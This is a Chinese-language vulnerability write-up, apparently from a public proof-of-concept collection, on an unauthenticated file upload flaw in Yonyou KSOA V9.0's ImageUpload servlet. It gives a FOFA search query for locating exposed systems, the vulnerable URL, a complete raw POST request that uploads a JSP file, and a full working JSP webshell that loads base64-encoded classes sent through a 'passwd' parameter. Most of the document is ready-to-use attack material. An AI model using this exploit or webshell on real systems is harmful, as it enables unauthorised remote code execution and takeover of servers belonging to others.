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85 lines
2.3 KiB
Markdown
85 lines
2.3 KiB
Markdown
# 用友时空 KSOA V9.0 文件上传漏洞
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## 漏洞描述
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用友时空 KSOA 是用友网络科技股份有限公司建立在 SOA 理念指导下研发的新一代产品，其中 com.sksoft.bill.ImageUpload 存在前台文件上传漏洞，攻击者可以在不登陆的情况下上传恶意 Webshell，控制系统权限。
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## 网络测绘
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```
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app="用友-时空KSOA"
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```
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## 漏洞复现
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登录界面：
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漏洞 URL：
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```
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/servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=
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```
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发送数据包：
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```
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POST /servlet/com.sksoft.bill.ImageUpload?filepath=/&filename=1.jsp HTTP/1.1
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Host: your-ip
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Pragma: no-cache
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Cache-Control: no-cache
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Referer: https://en.fofa.info/
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Accept-Encoding: gzip, deflate
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Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
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Cookie: JSESSIONID=825A011F31259CCA1649D5DF4849635E
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Connection: close
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Content-Length: 1
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<%!
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your-payload
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%>
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```
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访问 /pictures/1.jsp 即可。
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### Webshell
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密码：passwd
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```jsp
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<%!
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class U extends ClassLoader {
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U(ClassLoader c) {
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super(c);
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}
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public Class g(byte[] b) {
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return super.defineClass(b, 0, b.length);
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}
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}
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public byte[] base64Decode(String str) throws Exception {
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try {
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Class clazz = Class.forName("sun.misc.BASE64Decoder");
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return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
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} catch (Exception e) {
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Class clazz = Class.forName("java.util.Base64");
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Object decoder = clazz.getMethod("getDecoder").invoke(null);
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return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
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}
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}
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%>
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<%
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String cls = request.getParameter("passwd");
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if (cls != null) {
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new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
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}
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%>
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```
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